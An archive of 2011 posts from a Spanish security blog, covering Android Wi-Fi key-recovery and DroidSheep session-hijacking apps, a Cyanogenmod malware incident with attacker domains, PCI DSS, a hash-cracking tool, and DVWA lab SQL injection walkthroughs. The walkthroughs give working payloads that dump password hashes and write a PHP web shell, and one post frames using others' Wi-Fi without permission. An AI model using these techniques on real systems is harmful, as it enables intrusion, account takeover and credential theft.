31 de diciembre de 2011

¡Feliz 2012!


2011 ha sido un gran año para La X marca el lugar. Ha sido el año en el que nació este proyecto y hemos conseguido hacernos un pequeño hueco en la Blogosfera.

A lo largo de estos meses hemos intentado compartir con vosotros nuestras experiencia y opinión, las noticias que hemos considerado más interesantes y algunas herramientas que hemos ido desarrollando.

Las siguientes son las cinco entradas más leídas de este año:


Con contenido como éste conseguimos colocarnos en un prometedor 15º puesto como Mejor Blog sobre Seguridad Informática en los Premios Bitácora 2011.

Ahora nos toca hacer los propósitos para el nuevo año, entre los que está seguir mejorando con la ayuda de todos vosotros para ofrecer un contenido más interesante. Para ello ya estamos colaborando en diferentes proyectos que os iremos presentando poco a poco.

En resumen...

¡Muchas gracias a todos por confiar en La X marca el lugar y que tengáis un Feliz Año 2012!

24 de noviembre de 2011

Jugando con la Wi-Fi desde Android (II)

En la entrada anterior estuvimos viendo cómo la configuración de fábrica de los routers que venden los ISP españoles no tiene nada de segura. En esta entrada os vamos a mostrar, desde un punto de vista práctico, lo importante que es el uso de canales cifrados cuando estemos trabajando con datos confidenciales o sensibles.

B.E.A.S.T hizo que nos empezáramos a plantear la seguridad del uso de canales cifrados por medio de SSL y TLS, aunque la realidad es que para su explotación en la práctica hacen falta una serie de requisitos que lo hacen relativamente complejo. Además, la vulnerabilidad publicada que explota B.E.A.S.T. tan sólo afecta a algoritmos de cifrado por bloques, por lo que bastaría con definir el conjunto de algoritmos soportados por el servidor a únicamente los algoritmos de cifrado por flujo que soportan tanto SSL como TLS (versión 1).

Dejando a parte el tema de B.E.A.S.T., la realidad es que a día de hoy el uso de SSL y TLS es una necesidad básica en Internet. Gracias a estos protocolos podemos confiar que transacciones bancarias, acceso a datos personales o confidenciales, conexiones a servidores que almacenan información sensible... son "seguras".

No obstante, aunque ya todos los bancos y la mayoría de comercios electrónicos implementan estos protocolos para realizar las transacciones comerciales, existen multitud de sitios web que todavía no los utilizan o dan a elegir al usuario. De los que usamos a diario yo destacaría algunas redes sociales como Facebook, Twitter o tuenti.

Teniendo en cuenta que en estas redes sociales tendemos a publicar toda nuestra vida "con pelos y señales", el hecho de que alguien pudiera entrar en nuestra cuenta para hacerse pasar por nosotros, además de un delito podría significar un DESASTRE en nuestra vida social (en la de unos más que en la de otros...).

Lo que vengo a decir es que muy pocos usuarios están concienciados de lo importante que es marcar la casilla "Activar navegación segura" una vez que hemos creado nuestros perfiles en estos servicios. Y si tenemos en cuenta lo fácil que nos resultó acceder a la red del amigo que no nos quería dar la clave de su Wi-Fi en la entrada anterior, el robo de sesiones de alguno de estos servicios es igual de trivial y tan sólo nos llevará un par de minutos.

En el siguiente vídeo vamos a ver cómo utilizando la herramienta para Android DroidSheep, tardamos menos de un par de minutos en robar la sesión de un usuario de Facebook que está conectado a la misma red Wi-Fi que nosotros.

Para los que no conocen la herramienta, os la comento un poco por encima antes de que veáis lo fácil que es utilizarla. Lo que hace es ejecutar un ARP Spoofing para interponerse entre la puerta de enlace (el router) y los usuarios de una Wi-Fi, es decir, un ataque MitM. A partir de ese momento, comienza a capturar todo el tráfico rescatando cookies de sesión en servicios conocidos (y no conocidos) que va mostrando por pantalla conforme las va analizando. Después proporciona diferentes opciones para enviar la cookie a una cuenta de correo electrónico o, directamente, acceder a la cuenta capturada desde el navegador del móvil.


Conozco a más de una persona que se configuró la navegación segura después de que le enseñara lo que podía hacer desde el móvil... Espero que esta entrada sirva para concienciar a más usuarios de lo importante que es fijarnos en que las páginas en las que introducimos nuestros datos comienzan por https en lugar de por http.

Entradas anteriores:
Jugando con la Wi-Fi desde Android (I) 
Otras entradas relacionadas:
Firesheep bajo Linux
FireSheep vs FireSheperd

14 de noviembre de 2011

Jugando con la Wi-Fi desde Android (I)

Las nuevas tecnologías han conseguido que prácticamente todos llevemos en el bolsillo un teléfono que sea más potente que los ordenadores de hace unos pocos años. Además de la potencia de cálculo, los nuevos smartphones nos permiten transmitir información por medio de diversas tecnologías.

En esta serie de entradas, voy a hablaros de algunas cosas básicas que podemos hacer con nuestro teléfono Android a través de Wi-Fi y sin apenas esfuerzo.

Lo primero de todo es conectarnos a una red. Pero si estamos en la calle o en casa de alguien que no nos quiera decir su clave de la Wi-Fi porque no se fíe de nosotros... podríamos tener un problema. Por suerte, los ISPs españoles distribuyen routers Wi-Fi con contraseñas por defecto y que son fácilmente predecibles conociendo el BSSID (MAC del punto de acceso) y el ESSID de la red (el nombre).

Para obtener la clave de alguno de los puntos de acceso que nos rodean, podemos utilizar muchas herramientas. Yo voy a pasar a describir las que, por uno u otro motivo, a mí más me gustan...

La primera de ellas es pulWifi, cuya pantalla principal tiene el siguiente aspecto:


Como vemos la aplicación, divide las redes que detecta en dos colores: verde, que se corresponde con aquellas redes que están abiertas o de las que podemos obtener la clave fácilmente; y rojo, las redes de las que no puede recuperar la clave. También nos indica con un diagrama la potencia de la señal para que sepamos a cuál nos interesa más conectarnos.

Si pulsamos sobre cualquiera de las redes de las que queremos recuperar la clave nos aparece la siguiente ventana. En ella nos da la opción de ver cuál es la clave (útil si necesitas copiarla en algún lado) y de copiarla directamente en el portapapeles.


Si optamos por la opción de copiar la clave, nos abre directamente el panel de Ajustes Wi-Fi de Android, en donde tan sólo nos quedaría buscar cuál es la red a la que estamos intentando conectarnos y pegar la clave desde el portapapeles:


Cuando le demos tiempo para que se autentique comprobaremos que nos hemos conectado sin ningún problema:


Dependiendo del tipo de red que sea, es posible que no nos indique una sola clave sino un repertorio de las posibles (suelen ser 10). En este caso tendremos que ir probando con cada una de ellas hasta que demos con la correcta.


En general, pulWifi es capaz de recuperar la clave de redes WLAN_XXXX, WLANXXXXXX, YACOMXXXXXX, WIFIXXXXXX y JAZZTEL_XXXX (aunque de esta última no siempre es cierto, como vamos a ver un poco más adelante...).

Otra herramienta tan útil como la anterior es WLANAudit.

Algunas diferencias con pulWifi es que en WLANAudit no podemos saber de una manera rápida de qué redes podemos recuperar la clave, sino que tenemos que ir mirando red por red cuáles es capaz de romper:


Este problema no lo tiene, por ejemplo, Auditfi. En este caso, se nos permite mostrar tan sólo las redes vulnerables y nos las lista con toda la información que nos interesa: ESSID, clave, potencia y BSSID.


Como podéis ver en las imágenes, una de las redes vulnerables es del tipo JAZZTEL_XXXX, que es de la que se muestra la segunda captura con la clave. Aunque, por motivos evidentes, he tapado el nombre de la red, si volvéis a la primera captura de pulWifi y os fijáis en la primera de las que aparecen en rojo (de las que no puede recuperar la clave) veréis que se trata de la misma red.

Es por ello que os comentaba que pulWifi no siempre funciona con las redes JAZZTEL_XXXX. Sin embargo tanto Auditfi, como wifiPass las soportan a la perfección.

Esta última herramienta de las que os voy a hablar (wifiPass) es muy parecida a Auditfi. Aunque en este caso directamente sólo muestra las redes vulnerables sin ninguna más información. Pulsando sobre cada una de las redes vamos viendo las claves y copiándolas al portapapeles:


Éstas son, tan sólo, algunas de las muchas herramientas para Android que nos permiten auditar la seguridad de NUESTRA red Wi-Fi. Otros ejemplos son HHG5XX WEP scanner o Penetrate Pro, de la que no hace mucho hablaron en Seguridad Wireless.

Como veis, aunque los ISPs nos vendan que la seguridad de nuestra Wi-Fi es la correcta por estar utilizando WPA2, no tenemos que dejad de cambiar las contraseñas y ESSID por defecto que vienen con los routers.

Espero que os haya resultado interesante la entrada y os animo a que os pongáis en contacto con nosotros si conocéis alguna herramienta parecida.

10 de noviembre de 2011

Estrenamos página en Google+


Con la llegada del concepto "página" a Google+ hemos creado un nuevo espacio en donde compartiremos noticias, publicaciones, nuevas herramientas, retos, curiosidades y muchas cosas más. Todo ello, eso sí, relacionado siempre con la Seguridad.

Para seguirnos, tan sólo tenéis que agregar a La X marca el lugar a alguno de vuestros círculos y estaréis al tanto de todo lo que vayamos publicando.

Os recordamos que también podéis seguirnos en Twitter  (@laXmarcaellugar) y en Facebook.

7 de noviembre de 2011

TapJacking, un juego peligroso en Android

En Android la gestión de permisos es llevada a cabo por el usuario, ya que al ser instaladas las aplicaciones somos nosotros mismos los que tenemos que decidir si otorgamos los permisos solicitados por la aplicación o si los denegamos, dando por cancelada la instalación.

Aquí un ejemplo:

De esta forma siempre vamos a ser conscientes o al menos vamos a tener una idea general, del el nivel de acceso a las funciones de nuestro terminal que puede llegar a tener cada aplicación.

Pero como el ingenio no tiene fin, se ha ideado una técnica de saltarse este paso, o mejor dicho, encubrirlo. Concretamente la técnica consiste en tener una aplicación que actúa de gancho (por ejemplo algún juego de habilidad) y que es transparente a las pulsaciones. Ya que nosotros vemos la aplicación gancho y tenemos la impresión de interaccionar con ella pero en realidad estaremos pulsando botones de una aplicación diferente que se encuentre en segundo plano.

Para poder hacer la trampa la aplicación gancho debe ser una notificación Toast modificada para que tenga apariencia de otra cosa, por ejemplo un juego. Este tipo de notificación en Android tiene la característica de dejar pasar los toques que se realizan en ella a la aplicación que este ejecutándose debajo. Por lo que teniendo la notificación constantemente en pantalla no se vería nada de lo que ocurre por detrás.

Esto permitiría al atacante todo tipo de libertad para hacer el mal, por ejemplo hacerte bajar un malware e instalarlo para obtener todas tus contraseñas, enviar SMS Premium y un sinfín de opciones más. Entre ellas, lo que comentábamos en un principio, camuflar la autorización de permisos por parte del usuario. Permitiendo que se instale cualquier cosa en su propio dispositivo sin saberlo.

Aquí podemos ver un vídeo de cómo funciona este sistema mediante una prueba de concepto:


Por suerte Google ya fue avisada del problema y ya han tomado cartas en el asunto. Por lo que a partir de la versión de Android 2.3, la GigerBread, ya no hay que preocuparse por este tema. Pero dada la disgregación de versiones que tiene Android y el poco soporte de actualizaciones que dan la mayoría de fabricantes y operadoras todavía existe un alto número de personas con este problema latente en sus terminales. ¿Eres tu uno de ellos?

20 de octubre de 2011

Cyanogenmod.com malware spread

Recently, the website Cyanogenmod.com has been compromised, and was spreading a piece of malware loaded from warlikedisobey.org/coehegzxw8xgahtrb, hosted on Indo Network Solutions, Scranton, Pennsylvania (USA) (66.197.158.102)

Whois info for 66.197.158.102
IP Information - 66.197.158.102

IP address:                     66.197.158.102
Reverse DNS:                    static-ip-102-158-197-66.host.cybernet.co.id.
ASN:                            21788
ASN Name:                       NOC
IP range connectivity:          7
Registrar (per ASN):            ARIN
Country (per IP registrar):     US [United States]
Country Currency:               USD [United States Dollars]
Country IP Range:               66.197.0.0 to 66.197.255.255
Country fraud profile:          Normal
City (per outside source):      Reno, Nevada
Country (per outside source):   US [United States]
Private (internal) IP?          No
IP address registrar:           whois.arin.net
Known Proxy?                    No
If we query on urlquery.net for the URL, we can see that this server has been used since 2011-09-27 to spread malware on multiple domains hosted.
2011-10-20 02:41:46 0 warlikedisobey.org/coehegzxw8xgahtrb 66.197.158.102
2011-10-11 01:20:45 0 warlikedisobey.org/osnp91icm/?5 66.197.158.102
2011-10-11 01:16:42 0 nestjolt.org/5gbd3jzxwfqjnp1eh/ 66.197.158.102
2011-10-11 01:14:31 0 nestjolt.org/5gbd3jzxwfqjnp1eh/ 66.197.158.102
2011-10-11 00:59:42 0 http://turbidworship.org/osnp91icm/?1 66.197.158.102
2011-10-06 20:24:52 0 nationearn.org 66.197.158.102
2011-09-27 12:45:01 0 http://starryplank.org/bp1tezzxwtauh 66.197.158.102
2011-09-27 12:35:14 0 http://starryplank.org/bp1tezzxwtauh 66.197.158.102
2011-09-27 12:02:07 0 http://starryplank.org/but3os0wp/ 66.197.158.102
2011-09-27 12:00:59 0 http://starryplank.org/but3os0wp/?3a75067eb1353ae040165 66.197.158.102

Its seems that Indo Network servers has been used to spread malware and spamming issues several times. If we search on the Proyect HoneyPot website for the offending IP, we can see that a number of servers withing Indo Network range has been used for spamming.

The cyanogenmod site has been target of attacks before,and maybe has been spreading malware quietly. These has been already commented on cyanogen's forum before (25 september 2011).

The original post at pastebin here

You should take a look at the last line of the following code:





3 de octubre de 2011

Estándar de Seguridad de Datos para la industria de Tarjeta de Pago, estándar PCI

PCI DSS (Payment Card Data Security Standar - Estándar de Seguridad de Datos para la industria de Tarjeta de Pago) es un estándar de seguridad en el que se definen medidas para la protección de datos sensibles que puedan aparecer durante el tratamiento, procesamiento o almacenamiento de la información de tarjetas de crédito.

Este estándar ha sido desarrollado por el PCI SSC (PCI Security Standards Council), formado por las principales empresas emisoras de tarjetas de crédito: Visa Inc., Mastercard Worldwide, American Express, JCB International y Discover Financial Services.

La finalidad de la creación de este estándar es asegurar los datos relacionados con las tarjetas de pago en las organizaciones que procesan, almacenan o tratan dicha información, para evitar el fraude relacionado con las tarjetas de crédito o débito. Las compañías que gestionan este tipo de datos deben cumplir con el estándar PCI, en caso de no cumplirlo deberán afrontar la pérdida del permiso para procesar las tarjetas, someterse a auditorías rigurosas o al pago de multas.


PCI SSC define además otros dos estándares: PCI-PTS y PA-DSS.

PCI-PTS se aplica a los dispositivos utilizados para la introducción del número PIN (Point-of-interaction devices), así como a los módulos hardware utilizados para el procesamiento de pagos y para autenticación de tarjetas:
  • Dispositivos de punto de interacción atendidos.
  • Cajeros automáticos.
  • Terminales de pago no atendidos (dispensadores de gasolinas automáticos, kioscos, etc.).
PA-DSS se aplica a las aplicaciones de pago de terceros que realizan operaciones de almacenamiento, procesamiento o transmisión de datos de tarjetas, como por ejemplo: puntos de venta, "shopping carts", etc.
PA-DSS gestiona las aplicaciones de operaciones de pago con el fin de asegurar que funcionan de acuerdo al estandar PCI-DSS, además colabora para la organización que utilice estas aplicaciones, cumplan PCI-DSS. El uso de aplicaciones PA-DSS no garantiza el cumplimiento PCI-DSS por parte de la organización.
Un asesor PCI-DSS debe verificar que la aplicación de pago está instalada en los sistemas de acuerdo a las instrucciones detalladas en la guía de implementación PA-DSS proporcionada por el vendedor y de acuerdo al estándar PCI-DSS.


¿Qué organizaciones deben cumplir PCI-DSS?

Todas aquellas organizaciones que participen en el procesamiento, transmisión o almacenamiento de información de tarjetas de cŕedito. PCI divide estas organizaciones en tres tipos:
  • Comercios (Merchants): super/hipermercados, e-commerce, etc.
  • Proveedores de Servicio (Service Providers): ISPs, pasarelas de pago, etc.
  • Entidades financieras (Acquirers): bancos, cajas de ahorro, entidades de crédito, etc.
En función del tipo de organización y de su nivel transaccional, a cada entidad se le asignará un nivel. Cada entidad emisora de tarjetas, de las 5 que conforman el consorcio, establece su conjunto de validaciones a realizar y los informes a entregar, en función del nivel de la organización.

Los niveles de los comercios vienen definidos por las empresas emisoras de tarjetas y por el volumen de transacciones realizadas con las entidades financieras. Los niveles de los proveedores de servicios vienen determinados por las empresas emisoras de tarjetas, por el comercio, por la entidad financiera.

La clasificación de Comercios por niveles es la siguiente:

Figura 1. Niveles de Comercios.

Sus requisitos de validación PCI:

Figura 2. Requisitos de validación de los niveles de Comercios.

Y la información que debe proporcionar para la validación es la siguiente:

Figura 3. Información para la validación de los niveles de comercio 1 y 2.
Figura 4. Información para la validación de los niveles de comercio 3 y 4.

En cuanto a los niveles de Proveedores de Servicio:

Figura 5. Niveles de Proveedores de Servicio.

Los requisitos de validación e informes de los Proveedores de Servicio son los siguientes:

Figura 6. Requisitos de validación e informes para los Proveedores de Servicio.

Estándar PCI-DSS 2.0

En la versión actual del estándar (versión 2.0) se especifican 12 requisitos para que una organización cumpla PCI-DSS, divididos en 6 objetivos de control. 

Objetivo de Control 1: Desarrollar y Mantener una Red Segura

  • Instalar y mantener una configuración de cortafuegos para proteger los datos de los propietarios de tarjetas.
  • No usar contraseñas del sistema y otros parámetros de seguridad predeterminados provistos por los proveedores.
Objetivo de Control 2Proteger los Datos de los propietarios de tarjetas

  • Proteger los datos almacenados de los propietarios de tarjetas.
  • Cifrar los datos de los propietarios de tarjetas e información confidencial transmitida a través de redes públicas abiertas.
Objetivo de Control 3Mantener un Programa de Manejo de Vulnerabilidad

  • Usar y actualizar regularmente un software antivirus.
  • Desarrollar y mantener sistemas y aplicaciones seguras.
Objetivo de Control 4: Implementar Medidas sólidas de control de acceso

  • Restringir el acceso a los datos tomando como base la necesidad del funcionario de conocer la información.
  • Asignar una Identificación única a cada persona que tenga acceso a un computador.
  • Restringir el acceso físico a los datos de los propietarios de tarjetas.
Objetivo de Control 5Monitorear y Probar regularmente las redes

  • Rastrear y monitorizar todo el acceso a los recursos de la red y datos de los propietarios de tarjetas.
  • Probar regularmente los sistemas y procesos de seguridad.
Objetivo de Control 6Mantener una Política de Seguridad de la Información

  • Mantener una política que contemple la seguridad de la información

Estos requisitos combinados con diversos procedimientos de prueba dan lugar a una herramienta para el aseguramiento de los sistemas.

En una segunda entrega del blog, entraremos a comentar cada uno de estos requisitos más en profundidad.

30 de septiembre de 2011

New version of findmyhash


We have published findmyhash version 1.1.0. It adds two new online services and it supports 7 new algorithms.

New online services are:


List of complete supported algorithms is:

  • MD4
  • MD5
  • SHA1
  • SHA224
  • SHA256
  • SHA384
  • SHA512
  • RMD160
  • GOST
  • WHIRLPOOL
  • LM
  • NTLM
  • MYSQL (3, 4 y 5)
  • CISCO7
  • JUNIPER
  • LDAP_MD5
  • LDAP_SHA1


The project URL is:
http://code.google.com/p/findmyhash/

You can download the application from here:
http://code.google.com/p/findmyhash/downloads/list

Nueva versión de findmyhash

Hemos publicado la versión 1.1.0 de findmyhash en la que añadimos dos nuevos servicios online y soporte para 7 nuevos algoritmos.

Los nuevos servicios online son:


El listado completo de los algoritmos soportados es:

  • MD4
  • MD5
  • SHA1
  • SHA224
  • SHA256
  • SHA384
  • SHA512
  • RMD160
  • GOST
  • WHIRLPOOL
  • LM
  • NTLM
  • MYSQL (3, 4 y 5)
  • CISCO7
  • JUNIPER
  • LDAP_MD5
  • LDAP_SHA1


Podéis acceder al proyecto en la URL:
http://code.google.com/p/findmyhash/

Podéis descargar directamente la nueva versión desde:
http://code.google.com/p/findmyhash/downloads/list

26 de septiembre de 2011

DVWA + findmyhash - PoC

En la entrada anterior os presentamos findmyhash, un script en Python que busca en bases de datos online para romper diferentes algoritmos de hash.

Hoy os vamos a mostrar un ejemplo de cómo utilizarlo aplicándolo a la serie de entradas que estamos publicando sobre DVWA.

En las pruebas de inyección de código SQL habíamos conseguido extraer los hashes de las contraseñas de los usuarios pero nos habíamos quedado ahí, sin haber llegado a romper dichos hashes. Para ello es para lo que vamos a utilizar findmyhash.

Si extraemos el listado de usuarios y sus respectivos hashes de la base de datos tenemos:
admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337 : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy : 5f4dcc3b5aa765d61d8327deb882cf99
Ahora crearemos un fichero con tan sólo los hashes, de manera que nuestro fichero "/tmp/hashes.txt" contendrá:
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
Como veis he eliminado el último hash por ser exactamente el mismo que el primero y así realizar menos peticiones.

Si lanzamos findmyhash, sabiendo que son hashes MD5, obtenemos un resultado como el siguiente:

$ python findmyhash.py MD5 -f /tmp/hashes.txt

Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99

Analyzing with hashcracking 
  (http://md5.hashcracking.com)...

***** HASH CRACKED!! *****
The original string is: password


Cracking hash: e99a18c428cb38d5f260853678922e03

Analyzing with md5hashcracker 
  (http://md5hashcracker.appspot.com)...

***** HASH CRACKED!! *****
The original string is: abc123


Cracking hash: 8d3533d75ae2c3966d7e0d4fcc69216b

Analyzing with c0llision 
  (http://www.c0llision.net)...

***** HASH CRACKED!! *****
The original string is: charley


Cracking hash: 0d107d09f5bbe40cade3de5c71e9e9b7

Analyzing with md5hashcracker 
  (http://md5hashcracker.appspot.com)...

***** HASH CRACKED!! *****
The original string is: letmein


The following hashes were cracked:
----------------------------------

5f4dcc3b5aa765d61d8327deb882cf99 -> password
e99a18c428cb38d5f260853678922e03 -> abc123
8d3533d75ae2c3966d7e0d4fcc69216b -> charley
0d107d09f5bbe40cade3de5c71e9e9b7 -> letmein

Con esto ya tendríamos las contraseñas de todos los usuarios ;)


23 de septiembre de 2011

"Cracking" hashes with findmyhash

findmyhash is a Python script which has been developed to "crack" different types of password hashes using multiple cracking online services.

The goal of this application is to increase cracking chances when you don't have the correct Rainbow Table. So you only have to use findmyhash which will search in several online databases automatically.

Right now, it supports nine different hash algorithms: MD4, MD5, SHA1, SHA256, RMD160, MYSQL, CISCO7, LM and NTLM.

We have mainly test it with MD5, LM and NTLM hashes because they are the most common ones. The results are very good and we can say that with LM / NTLM, findmyhash can crack between 60 and 70% of the hashes if you specify both values

We have conducted these tests with 100 actual password hashes (extracted from real Active Directories) and we could crack passwords like "Dba$23.8-J", "Jua!gar8012", "$3St4P4$_0rDd3" or "7:23^Xl0|aY.6=".

We encourage you to test findmyhash and to give us your feedback.

The project URL is:

You can download the application from here:

"Crackeando" hashes con findmyhash

findmyhash es un script (¿aplicación?) desarrollado en Python que utiliza un total de 49 servicios online de crackeo de contraseñas.

El objetivo con el que hemos desarrollado esta aplicación es aumentar las posibilidades de romper un hash en aquellas situaciones en las que no disponemos de las Rainbow Tables necesarias. De esta manera, basta con introducir nuestros hashes en la aplicación y ella se encarga de buscarla en diferentes bases de datos online mostrando el resultado final.

Actualmente soporta diez tipos de hashes (algoritmos) diferentes: MD4, MD5, SHA1, SHA256, RMD160, LM, NTLM, MYSQL, CISCO7 y JUNIPER.

Hasta ahora, hemos realizado pruebas principalmente con MD5, LM y NTLM, por ser los más habituales, con unos resultados bastantes satisfactorios. En el caso de LM / NTLM, por ejemplo, existe un porcentaje de acierto de entre el 60 y el 70% (siempre y cuando se disponga del hash LM).

Para realizar estas pruebas hemos utilizado un total de 100 hashes de contraseñas reales (que se están/estaban utilizando en algún directorio activo) con ejemplos como: "Dba$23.8-J", "Jua!gar8012", "$3St4P4$_0rDd3" ó "7:23^Xl0|aY.6=".

Os animamos a que la probéis y nos digáis si os gusta y qué modificaríais / añadiríais.

La URL del proyecto es:
http://code.google.com/p/findmyhash/

Y podéis descargar la aplicación directamente desde aquí:
http://code.google.com/p/findmyhash/downloads/list

21 de septiembre de 2011

Premios Bitácora 2011

Como ya sabréis, se están celebrando los Premios Bitácora 2011 que organiza todos los años la informacion.com.

Hoy he podido comprobar que estamos participando en la categoría de mejor blog de seguridad. Así que en primer lugar quiero dar las gracias a todos aquellos que nos habéis votado, por creer en nosotros. Y a los que no lo hayáis hecho os animo a que, si os está gustando el contenido que publicamos, nos votéis.

Podéis ver la clasificación actual en el siguiente enlace y desde ahí mismo se puede pasar a votar:

http://blogs.lainformacion.com/premiosbitacoras/2011/09/21/clasificacion-parcial-i-mejor-blog-sobre-seguridad-informatica-2/

También aprovecho para animaros a que nos sigáis en las diferentes redes sociales, ya que muchas noticias y otro contenido que no hemos realizado nosotros, lo publicamos directamente desde ellas. Las direcciones son:

twitter: @laXmarcaellugar
Google+: https://plus.google.com/100517723537941701707/posts
Facebook: https://www.facebook.com/pages/La-X-marca-el-lugar/175932832480227

¡Muchas gracias a todos!

19 de septiembre de 2011

DVWA - SQLi nivel medio (III)

Es el turno del nivel medio de la sección de inyección de código SQL del DVWA. Lo primero, como siempre, es seleccionar en el nivel “medium”.

Tenemos que ver el modo en el que podríamos empezar a inyectar. Igual que en el modo low podemos probar a ver qué pasa al introducir una comilla simple:


El resultado obtenido es el siguiente:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

En pocas palabras, dice que está “escapando” el carácter de comilla simple y, por tanto, tratándolo como si fuera una cadena de caracteres. No vamos a poder usar esta técnica, como en el punto anterior.

Tendríamos que probar ahora que clase de caracteres podemos introducir, así pues introducimos por un lado un carácter y por otro lado un número y veamos cómo responde:

Probamos introduciendo una letra.
Introducimos un número.

Pues parece que los caracteres no los acepta. Sin embargo al introducir un número tal como "1", nos devuelve lo que parece el primer resultado de una tabla. Si introducimos números sucesivos, nos devolverá otros resultados.

El resto de las peticiones son bastante parecidas a las del nivel low, sólo era cuestión de encontrar un punto de entrada. Recordad que no se pueden usar comillas simples, aunque probablemente tampoco se puedan usar otros tipos de caracteres como las comillas dobles.

Bien, probemos la siguiente petición, a ver qué tal sale:


Bueno, parece que hemos conseguido un punto de entrada adecuado. Probemos a realizar las pruebas tal y como las hicimos en el apartado anterior, teniendo en cuenta que no debemos usar comillas. Usaremos directamente la sentencia que nos proporcionó los hashes de la base de datos:

1 and 1 = 0 union select user, Password from users --


Tal y como hicimos en ocasiones previas explicamos un poco la sentencia usada:

  • 1 and 1 = 0: lo igualamos a 0 porque no queremos que nos saque otros resultados que no sean los hashes.
  • El resto de la sentencia es evidente, y terminamos cerrándola con – para que lo posterior no lo interprete y aparezca como si fuera un comentario, cerrando la sentencia de esta forma.

Y ya tenemos otra vez los hashes deseados.


15 de septiembre de 2011

DVWA - SQLi nivel low (II)

En esta segunda parte de practicar con esta distro vamos a probar a realizar SQL injection en el nivel fácil. El nivel medio no es muy diferente, las técnicas son similares, pero el modo de conseguir acceso es algo distinto. Lo dejaremos para el siguiente post.

Lo primero como siempre es ponerlo en el nivel "low".

Tenemos que ver el modo en el que podríamos empezar a inyectar. Lo cierto es que en este nivel, verlo va a ser rápido. Podemos probar por meter una comilla simple en el cuadro, y ver el resultado obtenido:


El error lo muestro a continuación:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''' at line 1

Lo que viene a indicar que no se está utilizando una sintaxis correcta en la sentencia SQL. Más concretamente, está quejándose de que faltan unas comillas simples. Introduciendo dos comillas simples obtendremos lo siguiente:


Y esto indicaría que la sentencia SQL se ha ejecutado correctamente, pero que no le hemos solicitado nada (no le hemos hecho una consulta que devuelve datos). Ojo, una consulta sí que hemos realizado, sólo que no una que devuelva resultados.

Así que la idea es introducir algo en la consulta que se está realizando ya de por sí. Probablemente será algo del tipo select * from tabla where algo='$algo'. Al introducir parámetros en el recuadro quedaría algo tal como:

select * from tabla where algo=''lo que hemos introducido''

(lo que resalto en rojo es la cadena que introducimos/inyectamos directamente desde el cuadro de texto)

Bien, vamos a lo interesante, a que empiece a darnos resultados. Probaremos lo siguiente:

' union select table_name, null from information_schema.tables -- '


La explicación de lo que hemos introducido es la siguiente:

  • La primera comilla cierra la primera query,
  • union sirve para unir la primera consulta, la de la aplicación, con la nuestra
  • el resto sirve para obtener el listado de tablas del esquema de la base de datos
  • -- ' , al final, sirve para decir que lo que sigue a continuación es un comentario y así ignorar el resto de la consulta de la aplicación web.

En vez de null, podríamos haber puesto cualquier dato numérico, simplemente sirve para sacar el listado de tablas en el valor "First name" y nada en el valor "Surname"

Así que seguimos adelante. Vamos a obtener de la tabla usuario la columna de password:

' union select table_name, column_name from information_schema.columns where table_name='user' -- '


Y finalmente tenemos la tabla user con la columna "Password". Devuelve muchos más resultados, pero he mostrado directamente los que nos interesa.

Ya sólo falta obtener el contenido de esta columna, y con eso tendríamos lo que buscamos, más o menos.

La nueva consulta que introduciremos para obtener estos resultados es:

' union select user, Password from users -- '


Y ya tenemos lo que buscábamos: los hashes de las contraseñas. Ahora a divertirse averiguando a que corresponde cada uno de esos hashes obtenidos.

Bien, el siguiente paso por mi parte, aparte de conseguir las contraseñas, sería intentar conseguir una consola. En este caso es bastante sencillo. Solo tenemos que modificar nuestra consulta un poco.

La consulta que hemos contruido es la siguiente:

' union select "<? system($_REQUEST['cmd']); ?>", null from information_schema.columns INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" -- '


Como se puede observar, no muestra ningún tipo de datos de salida, es como si no hubiera funcionado. Esto es por lo siguiente:

  • Con INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" le estamos diciendo que vuelque a ese fichero la salida. Tiene que ser esa ruta concreta porque es de donde puede leer el servidor web. Os dejo averiguar cómo saber que esa es la ruta (o leer el anterior post de DVWA).

Os muestro una captura de lo que se podría conseguir con el comando adecuado:


Lo que he usado es lo siguiente, introduciéndolo en la barra del navegador:

http://192.168.1.105/hackable/uploads/shell.php?cmd=ls -lh ../

No es la mejor manera de hacerlo, pero sirve como prueba de concepto.

12 de septiembre de 2011

Nessus y CentOS - Resolviendo algunos problemas

Resulta que estábamos en cierta ocasión realizando una auditoría de caja blanca a un sistema operativo CentOS 5.3, con tan mala suerte que lo habían securizado.

Al iniciar la auditoría, a pesar de que teníamos credenciales como root en el sistema a analizar, Nessus nos devolvía la siguiente pantalla:


Aunque las credenciales sean válidas, si el plugin de Nessus no es capaz de identificar qué tipo de sistema es, nos va a responder diciendo que las credenciales son inválidas o que el sistema no está soportado, como se puede observar.

Buscando cómo realizaba Nessus este tipo de comprobación, llegamos a localizar el plugin con el cual realizaba la autenticación. Para el caso de nuestra instalación el plugin es: /opt/nessus/lib/nessus/plugins/ssh_get_info.nasl.

Analizando el fichero (ssh_get_info.nasl), llegamos a un punto en el que observamos que analizaba el contenido del fichero /etc/redhat-releases (entre otros) de la máquina objetivo del análisis para tratar de identificar con qué sistema estaba trabajando.

Hay un punto concreto en el que realiza lo siguiente:

[...]
(524) buf = info_send_cmd(cmd: "cat /etc/redhat-release");
[...]
(580) else if ( "CentOS" >< buf )
[...]

La línea 524 lo que hace es leer el contenido del fichero /etc/redhat-release del sistema objetivo, mientras que la línea 580 comprueba si la cadena "CentOS" está contenida en la variable 'buf' (que almacena el contenido del fichero).

La forma fácil de solucionar nuestro problema es modificar el contenido original del fichero /etc/redhat-release de la máquina a auditar añadiendo una línea con la cadena "CentOS release 5 (Final)" para que el plugin de Nessus, al pasar por la línea 580, detecte el sistema. Y efectivamente, al realizar de nuevo el análisis con esto modificado, el resultado es lo que se muestra a continuación:


Es decir, nos permite loguearnos por ssh en el sistema analizado y sacar los resultados que esperábamos.

PD: Mis agradecimientos a Fernando Saavedra, compañero y colega que siempre está dispuesto a ponerse a investigar todo lo que va surgiendo.

